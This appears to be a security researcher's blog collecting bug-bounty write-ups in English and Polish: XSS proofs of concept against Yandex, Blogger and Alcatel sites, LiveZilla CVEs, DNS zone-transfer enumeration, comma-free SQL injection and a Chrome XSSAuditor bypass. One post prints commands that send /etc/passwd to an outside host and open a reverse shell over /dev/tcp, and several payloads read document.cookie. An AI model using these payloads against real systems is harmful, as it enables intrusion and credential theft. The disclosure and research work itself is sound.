Yandex Metrica multiple XSS vulnerabilities

Ok, some time ago I found few XSS vulnerabilities at one of Yandex services called Metrika.. Most are fixed now, so I can provide Proof Of Concepts publicly. :)

1) Reflected XSS - [somewhere]

(this one is still not fixed so - it will be disclosed in future, but it's nothing special really)

2) Stored XSS - external links

Demonstration video is quite long because I was creating PoC while recording. ;-)

http://www.youtube.com/watch?v=ZhNn0uYXpL8

3) Stored XSS - WebVisior

Visiting your website with Metrica counter in this way:

http://hostname/x.htm?<img/src="XXX"/onerror="alert(1)">ab

causes that Metrica WebVisior rendered it without escaping, which is just another stored XSS.

4) Stored XSS - file downloads

http://www.youtube.com/watch?v=4xgcjisyzK8

5) Stored XSS - Clickpath analysis

http://www.youtube.com/watch?v=SqTSoCd86Sk

6) Reflected XSS - Form Data analysis

http://www.youtube.com/watch?v=LALvffnT-vQ

7) *BONUS* out of scope (so unrewarded) reflected XSS in yandex.st.

http://yandex.st/mail/neo2/7.35.2005/static/swf/web-socket.swf?onLoad=this.alert('XSS')

Effect + source code:

And that's all for today. :)

[EN] LiveZilla multiple vulnerabilities

I was looking a bit into LiveZilla source code and found few vulnerabilities. Most of them fixed in 5.1.2.1 released few days ago. Details:


CVE-2013-7034 - LiveZilla 5.1.2.0 PHP Object Injection
CVE-2013-7033 - LiveZilla 5.1.2.0 Insecure password storage
CVE-2013-7032 - LiveZilla 5.1.2.0 Multiple Stored XSS in webbased operator client
CVE-2013-7003 - LiveZilla 5.1.1.0 Stored XSS in operator clients
CVE-2013-7002 - LiveZilla 5.1.0.0 Reflected XSS in translations

[EN] Unix RCE without spaces

You have Remote Code Execution bug - but spaces are removed. How to pass parameters in this case? And what if we can't see the result of executed command? Let's do small trick - redirecting default input / output.

Here we go:

zoczus@hell:~$ cat</etc/debian_version 
7.1

:) Can't see the output? Send it through Internet!

[host1]

zoczus@hell:~$ cat</etc/passwd>/dev/tcp/xxxx.pl/5060

[host2]

zoczus@jano:~$ nc -l -p 5060
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
(...)

It looks all right ;) You can also create reverse shell:

sh</dev/tcp/xxxx.pl/5060>/dev/tcp/xxxx.pl/2222

So now the /bin/sh input (commands) will be taken from xxxx.pl:5060 and result - sent to xxxx.pl:2222

I hope this one was useful ;)

[EN] Alcatel OneTouch Website - XSS & SQL Injection

SO - first thing is, that both bugs are really obvious...I can't belive they exist so long in official Alcatel One Touch website.

How to reproduce bug:
1) Go to http://alcatelonetouch.com website
2)  Search for bad'syntax or f<script>alert(1);</script>
3) Get alert or PHP Error (in case you're trying to exploit XSS or SQLi).

XSS:

SQLi:

I think this case is so basic, that it don't need to be explained.

Ok - now the funny part - timeline.

05/02/2013 - discovered the bug
06/02/2013 - contact using e-mail provided in WHOIS database
13/02/2013 - no response, contacted USSupport@tcl.com
11/03/2013 - mailed to Polish Alcatel-Lucent department with request of some contact info for my case
11/03/2013 - response from Alcatel-Lucent - forward me to TCL Communication
12/03/2013 - mail sent using official TCL contact form
13/03/2013 - after googlin' - found some employee working for TCL and contact info - sent mail.
29/04/2013 - no response - tried to contact using info.america@tcl.com
12/06/2013 - still no response, tried to contact with some sales managers, found on Alcatel website
28/06/2013 - Twitted @ALCATELONETOUCH about vuln and requested for contact informations
02/07/2013 - no response - another tweet.
04/07/2013 - stil no response - another tweet
08/07/2013 - ...and another ;)
09/07/2013 - everybody please, sit down - I've got first Alcatel response. It tells that I should contact using their Official Facebook.
09/07/2013 - Contacted using facebook.
10/07/2013 - Response that confirms, that informations about fact, that I found some issue in their website was sent to their "team".
10/07/2013 - Problem was, that I didn't provided any details about vulnerability, even what kind of issue it is ;) I asked if they need any details.
11/07/2013 - I sent really detailed advisory about vulnerability I found.
16/07/2013 - got response with confirmation of sharing my details with their tech team.
24/07/2013 - tried to get some other info - no response
07/08/2013 - ping -> no response.
27/09/2013 - not fixed -> Public Disclosure

Feel free to comment. :)

-- UPDATE --
At 12/11/2013 one of TCL IT Managers responsible for AlcatelOneTouch.com website contacted with me. We cooperated to fix this issues and from now on it's ok. :)

Yandex Bug Bounty - Multiple Vulnerabilities

Few weeks ago I reported few bugs as part of Yandex Bug Bounty Program. Check it out:

1) Cross-Site Flashing  - wordstat.yandex.com

Bug in ammap.swf, that allows us to use configuration files from external resources, modify Flash content and of course - abuse it. :)

This resource is removed at the moment, but here you have payload URL I used:

http://wordstat.yandex.com/flash/ammap/ammap.swf?settings_file=http://myhost/yandex.xml&data_file=http://myhost/evil_data.xml

Configuration files: yandex.xml oraz evil_data.xml

First - check the context menu and new option - 'Download users database from this region' ;)

After clicking - our "database" is prepared to download - information in bottom of site.

When progress is 100% - our payload is executed.

2) Stored XSS - Yandex Maps

I provided short PoC video:

3) Mixed-content - Yandex Video

This one wasn't rewarded and in fact - all modern browsers blocks mixed-content at the moment (also Firefox). Demonstration video just for education purposes and fun ;-)

Winiary Pomysł Na... - ominięcie Frame-Busting

Na pewno mieliście okazję spotkać się ze zjawiskiem takim jak Clickjacking. Obecnie chyba jedyną skuteczną metodą na zabezpieczenie przed tego typu atakami jest wysłanie nagłówka X-Frame-Options, dzięki któremu mamy możliwość kontrolować czy strona ma być załadowana w ramce czy nie. Innym spotykanym zabezpieczeniem jest tzw. Frame Busting. Podczas próby załadowania strony z takim zabezpieczeniem w ramce, następuje stosowna walidacja i przekierowanie strony nadrzędnej na tą, która próbuje być załadowana.

W tym poście przedstawię chyba mało odkrywczy, ale działający pomysł na ominięcie Frame Buster'a. Testowane na przeglądarce Google Chrome 28.0.1500.5-dev działającej pod Slackware Linux 14.0. Jako przykład posłuży strona popularnej stacji radiowej, która:

1. Nie stosuje X-Frame-Options
2. Używa Frame Bustingu:

if (window.parent.frames.length != 0) {
   window.parent.location = window.location;
  }

Z pomocą przyjdzie nam atrybut sandbox. Tutaj przykładowy fragment kodu, pozwalający na załadowanie strony http://eska.pl w ramce:

<iframe sandbox="allow-scripts allow-same-origin allow-forms" src="http://eska.pl" width="800">

Opcja, którą pominęliśmy allow-top-navigation. Dodana w atrybucie sandbox pozwoli na przekierowanie (czego nie chcemy). Jak widać - udało nam się osiągnąć cel:

[EN] DNS missing allow-transfer

Ten Post wyjątkowo będzie napisany w języku angielskim. Z góry przepraszam. :-)

Before we start pentesting it's always good to gather some information about our target. One thing which we'd like to know are additional resources - SQL servers, developers and test machines, backups, etc. For example, we can check PTR records (revDNS) for IP class (manually or using this tool). Sometimes, our target configures his zone without allow-transfer option, so anybody can download zone file in the same way as secondary DNS does.

There are multiple ways to do this. Using default available tools:

zoczekj@cojapache:~$ host -l tesco.pl ns4.czart.pl
Using domain server:
Name: ns4.czart.pl
Address: 194.8.14.2#53
Aliases: 

tesco.pl name server ns1.czart.pl.
tesco.pl name server ns2.czart.pl.
tesco.pl name server ns3.czart.pl.
tesco.pl name server ns4.czart.pl.
tesco.pl name server one.czart.pl.
tesco.pl name server crimson.czart.pl.
tesco.pl name server czartux.czart.pl.
tesco.pl has address 194.8.14.16
100sposobow-1.tesco.pl has address 193.221.122.60
100sposobow-2.tesco.pl has address 193.221.122.60

(...)

xfiles.tesco.pl has address 194.8.14.16
xfiles2.tesco.pl has address 194.8.14.29
zwierzaki.tesco.pl has address 194.8.14.16
admin.zwierzaki.tesco.pl has address 194.8.14.16

zoczus@jano:~$ dig @pri.authdns.ripe.net. ripe.net axfr | wc -l # this baby is huge one! ;-)
19626

..or using my perl script:

zoczus@jano:~$ zone wikipedia.org
Checking ns2.wikimedia.org... OK!
wikipedia.org. 86400 IN SOA ns0.wikimedia.org. hostmaster.wikimedia.org. (
     2013030122 ;serial
     43200      ;refresh
     7200       ;retry
     1209600    ;expire
     3600   ) ;minimum
wikipedia.org. 3600 IN A 208.80.152.201
wikipedia.org. 86400 IN NS ns0.wikimedia.org.
wikipedia.org. 86400 IN NS ns1.wikimedia.org.
wikipedia.org. 86400 IN NS ns2.wikimedia.org.
wikipedia.org. 3600 IN MX 50 lists.wikimedia.org.
wikipedia.org. 3600 IN MX 10 mchenry.wikimedia.org.
wikipedia.org. 3600 IN AAAA 2620:0:860:ed1a::1
aa.wikipedia.org. 3600 IN CNAME wikipedia-lb.wikimedia.org.
aa.m.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
aa.m.mobile.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
aa.m.wap.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
(...)
zu.wap.wikipedia.org. 3600 IN CNAME mobile-lb.eqiad.wikimedia.org.
zu.zero.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
zu.zero.mobile.wikipedia.org. 3600 IN CNAME m.wikimedia.org.
zu.zero.wap.wikipedia.org. 3600 IN CNAME m.wikimedia.org.

It seems to be quite simple. Lot of servers are still configured in this way. It's neither a new method nor my discovery. This technique is widely known.

Ok - how about trying this with TLDs? I've used this list and small bash script:

zoczus@jano:~/tld$ cat check.sh 
#!/bin/bash
#
# (C) ZoczuS
###
if [ $# -lt 1 ]; then
        echo "Usage $0 tld-file-name";
        exit
fi

l=`cat $1 | wc -l`;
i=1;
while [ $i -le $l ]; do
        tld=`head -n $i $1 | tail -n 1`;
        echo "Checking for $tld";
        zone "$tld." > $tld
        i=$[i+1];
done
zoczus@jano:~/tld$ ./check.sh tld.txt
Checking for aero
Checking for asia
Checking for biz
Checking for cat
Checking for com
Checking for coop
Checking for info
Checking for int
Checking for jobs
Checking for mobi
Checking for museum
Checking for name
Checking for net
(...)
Checking for xn--q7ce6a
Checking for xn--mgbb7fyab
Checking for xn--kgbechtv
Checking for xn--hgbk6aj7f53bba
Checking for xn--0zwm56d
Checking for xn--g6w251d
Checking for xn--80akhbyknj4f
Checking for xn--11b5bs3a9aj6g
Checking for xn--jxalpdlp
Checking for xn--9t4b11yi5a
Checking for xn--deba0ad
Checking for xn--zckzah
Checking for xn--hlcj6aya9esc7a
Checking for arpa

zoczus@jano:~/tld$ grep 'OK!' * | awk -F: '{ print $1 }'
aero
an
ao
arpa
bb
bd
bi
bv
ci
cy
do
er
fo
ge
gp
gq
gt
gy
int
iq
kw
mc
mg
mo
mp
mw
ni
np
pf
pg
sj
sl
sv
to
uk
xn--9t4b11yi5a
xn--fzc2c9e2c
xn--j1amh
xn--jxalpdlp
xn--xkc2al3hye2a
xn--ygbi2ammx
xn--zckzah
ye
zw

zoczus@jano:~/tld$ grep "IN" * | wc -l
257202

Pretty cool, huh?

Stored XSS - Yandex Mail

Zgłoszony ponad dwa miesiące temu, dawno poprawiony - stored XSS w usłudze Yandex Mail objętej programem bug bounty.

Poniżej oryginalne zgłoszenie:

Hello there,

I just found an stored cross-site scripting vulnerability in Yandex.Mail. Here's a short info about reproduction of this bug: 

1) Victim gets mail with picture of sweet kitteh ;) attachment name is: 

kitteh<img src=a onerror=alert(document.cookie)>hhhh.jpg

2) As you can see - picture looks really cute - that's why victim decides to zoom it. After clicking the thumbnail - javascript code executes. 

I attached some screenshot. 

Waiting for feedback. 

Greetings,
Jakub Zoczek

SQL Injection without comma char

Ostatnio podczas testowania pewnej strony na podatność SQL Injection zostało na mnie - podejrzewam nieświadomie - nałożone sprytne ograniczenie w postaci braku możliwości wykorzystania przecinka. Prawdopodobnie był on kiedyś separatorem parametrów przekazywanych przez GET, jednak z tego co zaobserwowałem tylko jedna część brała udział w zapytaniu.

Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:

mysql> SELECT substr('test',1,1);
+--------------------+
| substr('test',1,1) |
+--------------------+
| t                  |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT substr('test' FROM 1 FOR 1);
+-----------------------------+
| substr('test' FROM 1 FOR 1) |
+-----------------------------+
| t                           |
+-----------------------------+
1 row in set (0.00 sec)

Klucz programu:

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT null,user();
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b;
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

Have fun!

XSS in... Blogger ;-)

Dwa miesiące temu w ramach programu bug bounty Google znalazłem błąd stored XSS w usłudze Blogger, z której właśnie macie przyjemność korzystać :-) Celem wyjaśnienia - bo o tym nie wspomniałem - oczywiście chodzi o modyfikacje nagłówka Referer podczas wejścia na bloga. Poniżej treść oryginalnego zgłoszenia i screenshoty.


Hello there!

I'm happy to tell, that I just found cross-site scripting bug in your blogger service. 

When we put in Referer header something like this:

http://q-x.ath.cx/test'onclick="alert(document.cookie);"

And go to our blog page, our Statistic page will generate this kind of code:

<a target="_blank" href="http://q-x.ath.cx/test" onclick="alert(document.cookie);" '="">http://q-x.ath.cx/test'onclick="alert(document.cookie);"</a>
After clicking - we'll see alert :) You've got some screenshots in attachment.

Waiting for feedback, cheers!
Jakub Żoczek

Błąd oczywiście został błyskawicznie poprawiony.

Yandex Bug Bounty - 2x Cross-Site Scripting

Jako, że od poprawienia błędów przez Yandex minął wystarczający czas - publikuje za zgodą firmy.

REFLECTED XSS - Yandex Images

PoC (url decoded):

http://images.yandex.com/yandsearch?text="><script>alert('Kboom ' + document.cookie);</script>&site=yandex.ru

Screenshot:

Timeline:
2012/10/20 - report
2012/10/26 - fix
2013/01/11 - publish disclosure

STORED XSS - Yandex Metrica

PoC:

Przez odwiedzenie strony zawierającej kod analizujący w taki sposób:

http://hostname/test.php?id="><img src="a" onerror="alert(document.cookie);">

Efekt:

Timeline:
2012/11/08 - report
2012/11/14 - fix
2013/01/11 - publish disclosure

BUG BOUNTY

Yandex jest jedną z kilku firm posiadających swój program Bug Bounty. Pod lupę bierzemy zarówno webaplikacje w wymienionych domenach jak i te przeznaczone dla urządzeń mobilnych. Zainteresowanych zapraszam do zapoznania się z programem - i życzę powodzenia! :)

Spotkanie OWASP Poland w Poznaniu

W dniu dzisiejszym na liście mailingowej OWASP Poland pojawiła się informacja o pierwszym bezpłatnym i otwartym spotkaniu grupy, które odbędzie się 31.01.2013r. o 15:00 w Centrum Konferencyjnym IOR (ul. Władysława Węgorka 20, Poznań). Wszystkich zainteresowanych tematyką bezpieczeństwa webaplikacji zapraszam do zapoznania się ze szczegółami oraz zapisania się tutaj. :-) Share it with friends! Do zobaczenia!



View Larger Map

Chrome i XSSAuditor

Słowem wstępu

Jakiś czas temu zastanawiałem się, jak ominąć zabezpieczenie przed reflected xss'ami w przeglądarce, z której korzystam na codzień - czyli Google Chrome (22.0.1229.79, Linux) Po czasie znalazłem pewien sposób - więc zgłosiłem błąd. Jak się okazuje, takie,a nie inne działanie było zamierzone. Moje zgłoszenie zostało zamknięte - zresztą słusznie, ponieważ w kodzie XSSAuditora znaleźć można taki fragment (a ja do kodu - przyznam się bez bicia - nawet nie zajrzałem): 

bool XSSAuditor::isLikelySafeResource(const String& url)

{

    ...

    // If the resource is loaded from the same host as the enclosing page, it's

    // probably not an XSS attack, so we reduce false positives by allowing the

    // request, ignoring scheme and port considerations. If the resource has a

    // query string, we're more suspicious, however, because that's pretty rare

    // and the attacker might be able to trick a server-side script into doing

    // something dangerous with the query string.  

    ...

}

Zatem - biorąc pod uwagę powyższe, sposób o którym w szczegółach napiszę niżej, faktycznie przeglądarka uzna za bezpieczny.

O co chodzi?

Zabezpieczenie przed atakami typu XSS w Google Chrome polega na tym, że jeżeli nasz request (GET / POST) zawiera kod javascript, który przeglądarka ma potem wykonać (czyli zwrócony content zawiera tenże kod)... to go nie wykona ;) Weźmy pod lupę taki skrypt PHP:

<?php
echo "Bla, bla, bla<br>";
echo $_GET['a'];
?>

Czarno na białym widać co tu się święci ;-) Dla jasności, nasz skrypt znajduje się - przykładowo - pod adresem http://myhostname/~zoczus/inc.php. Umieszczając w parametrze GET takie wartości, przeglądarka je zablokuje:

• <script>alert('EVIL');</script>
• <script src="http://some.otherhost/alert.js"></script>
• <img src="a" onerror="alert(document.cookie)">
• <object width='400' height='400' data='data:text/html;base64,PHNjcmlwdD5hbGVydCgnS2Jvb20nKTs8L3NjcmlwdD4K'></object>

ALE, gdy zrobimy tak:

• <script src="http//myhostname/TEST.JS">alert("I won't be executed");</script>
• <script src="ftp://myhostname/alert.txt">alert("neither me");</script>

...to skrypt TEST.JS / alert.txt wykona się, a to co w tag'ach script - nie. To tyle. Nasuwa się szalenie prosty wniosek z tych całych rozmyśleń - miejsc, w których możemy taki atak wykorzystać jest niewiele. Zatem jeżeli na stronie mamy możliwość upload'u pliku i dostępu do jego zawartości lub force-download z serwera - możemy to wykorzystać. Z tego co sprawdziłem, przekazanie parametru GET w formie http://myhostname/test.php?param=value blokuje wykonanie, ale gdy programista korzysta z  mod_rewrite i odnośnik będzie miał na przykład taką formę: http://myhostname/test/param/value - skrypt się wykona. Jeżeli w nagłówku odpowiedzi dostajemy header Location, który możemy kontrolować -  to nawet jeżeli nasz skrypt jest na zupełnie innym zasobie - wykona się. Jeżeli na tym samym hoście znajduje się anonimowy serwer ftp z możliwością zapisu - możemy to wykorzystać. Protokół oraz port nie mają znaczenia - znaczenie ma wyłącznie host (subdomeny odpadają). Myślę, że wszystko jest jasne - jeśli macie inne ciekawe wariacje na ominięcie XSSAuditora, na przykład z wykorzystaniem innych protokołów - śmiało udzielajcie się w komentarzach. :) 

Co robić?

Filtrować - to programiści. Użytkownicy - zwracać uwagę na to w co klikają. :)